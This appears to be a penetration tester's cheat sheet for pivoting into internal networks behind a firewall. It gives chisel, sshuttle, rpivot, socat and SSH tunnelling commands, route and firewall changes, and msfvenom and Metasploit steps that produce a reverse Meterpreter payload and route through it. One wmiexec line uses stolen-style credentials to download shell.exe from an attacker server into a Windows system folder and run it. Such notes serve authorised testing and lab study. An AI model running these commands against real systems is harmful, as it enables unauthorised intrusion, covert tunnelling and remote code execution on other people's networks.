Pivoting into an internal network behind firewall

 

 

Accessing a Victim network from Windows box which is pivoted to Kali 

#On Kali
sshuttle --listen 0.0.0.0 -r user@10.10.10.10  192.168.1.0/24
or
./chisel server --port 9001 -reverse  
#On Victim 
./chisel.exe client 10.10.10.1:9001 R:0.0.0.0:1080:socks  
.\chisel.exe client  10.10.10.1:9001 R:8080:127.0.0.1:8080 R:8888:127.0.0.1:8888 R:9090:127.0.0.1:9090

#On windows 
route print
#delete default route 
route delete 0.0.0.0

#add a new route to kali- setting kali ip as gateway; kali_ip=which is on the same subnet as the windows box 
route add 0.0.0.0 mask 0.0.0.0 KALI_IP

#Now you should be able to access all the sites which are accessible on kali from windows box. 


#If the above doesnt work 

#asuming Kali and windows are on Eht0
#add a firewall rule to allow Kali ip traffic 
netsh advfirewall firewall add rule name="Allow VPN Traffic" dir=in action=allow protocol=any remoteip=KALI_ETH0_IP

#on Kali - Allow tun0 traffic to forward on iptables 
sudo iptables -P FORWARD ACCEPT
sudo iptables -t nat -A POSTROUTING -o tun0 -j MASQUERADE


#add below two - if even issue persists
iptables -A FORWARD -i tun0 -o eth0 -j ACCEPT
iptables -A FORWARD -i eth0 -o tun0 -m conntrack --ctstate RELATED,ESTABLISHED -j ACCEPT


Note: Lets say, you tunned the traffic from victim to kali and is accessible on 127.0.0.1 --> on windows; you can access it on Kali ETH0 IP address - http://192.168.10.10

#incase of any issues try this on windows 
route delete 127.0.0.1
route delete 127.0.0.0
route add 127.0.0.0 mask 255.0.0.0 KALI_IP
route add 127.0.0.1 mask 255.255.255.255 KALI_IP
 

#to revert the changes; 192.168.206.2
route delete 0.0.0.0
route add 0.0.0.0 mask 0.0.0.0 VMWare_Gateway

Get a Meterpreter on the Target and add a route to attacker machine 

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.14.14.3 LPORT=4444 -f elf -o rev

msfconsole
use exploit/multi/handler 
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 10.14.14.3
set LPORT 4444
run 
background
sessions -i  
use post/multi/manage/autoroute
set SUBNET 192.168.125.0 
set SESSION 4
run
use auxiliary/server/socks_proxy
set SRVPORT 1060
run

Getting a Meterpreter Session from an Internal Network to which you do not have direct CLI access but RCE is possible

┌──(Bhanu㉿HackingDream)-[~]
└─$ ./chisel server --port 9002 -reverse


user@victim:/tmp$ ./chisel client KALI_IP:9002 6666:127.0.0.1:6666

Create a Staged Payload using HackTheWorld or msfvenom, 
Go to Meterpreter Session 

background
use exploit/multi/handler 
set payload windows/meterpreter_reverse_tcp
set LHOST 0.0.0.0
set LPORT 6666
run

upload the reverse shell somewhere in the internal network and run it on the target machine using some other means.
Example:

proxychains wmiexec.py -debug -nooutput domain/username:'P@$$W0rd1'@192.168.111.111"powershell.exe Invoke-WebRequest -Uri 'http://192.111.110:8000/shell.exe' -OutFile 'C:\Windows\System32\spool\drivers\color\shell.exe'; cmd.exe /c C:\Windows\System32\spool\drivers\color\shell.exe"

Starting a Reverse Tunnel using Chisel 

┌──(Bhanu㉿HackingDream)-[~/
└─$ ./chisel server --reverse

on Victim:
chisel.exe client http://10.14.14.14:8080 R:0.0.0.0:1080:socks

#when the user is connected you should see the below connection on your kali machine 
server: session#1: tun: proxy#R:1080=>socks: Listening


use proxychains to connect to any ip/port accessible from the target machine locally on your kali box 

Using RPivot to connect to Internal network 

┌──(bhanu㉿kali)-[~/Downloads/Tools/Pivot /rpivot]
└─$ python2.7 server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
New connection from host 10.10.10.12, source port 4329


on Victim/Target:
python client.py --server-ip 10.10.10.10 --server-port 9999

#sudo nano /etc/proxychains.conf
socks4 127.0.0.1 1080

Access victim network using proxychains tool_name

Pivoting using SShuttle

shuttle --listen 0.0.0.0 -r username@10.10.10.10 192.168.2.0/24

Using Socat to Setup a relay to the target server 


#on the jumpbox from where the target server is accessible
.\socat.exe tcp-listen:1433,tcp-connect:TARGET_SERVER_IP:1433

 
#Setup a relay from the jumpbox to Kali, so that we can access the target from the attacker machine 
#Local SQL Client → Kali → Socat → Jumpbox → Socat → TARGET_SERVER

socat tcp-l:1433,fork tcp:JUMP_BOX:1433

Adding a Route to a different network which is accessible

#sudo ip route add CIDR dev Interface
sudo ip route add 10.10.0.0/24 dev tun2

Port Forwarding an Internal Network

ssh -i id_rsa bhanu@10.10.10.10 
ssh -L 80:192.168.1.5:80 -i id_rsa bhanu@10.10.10.10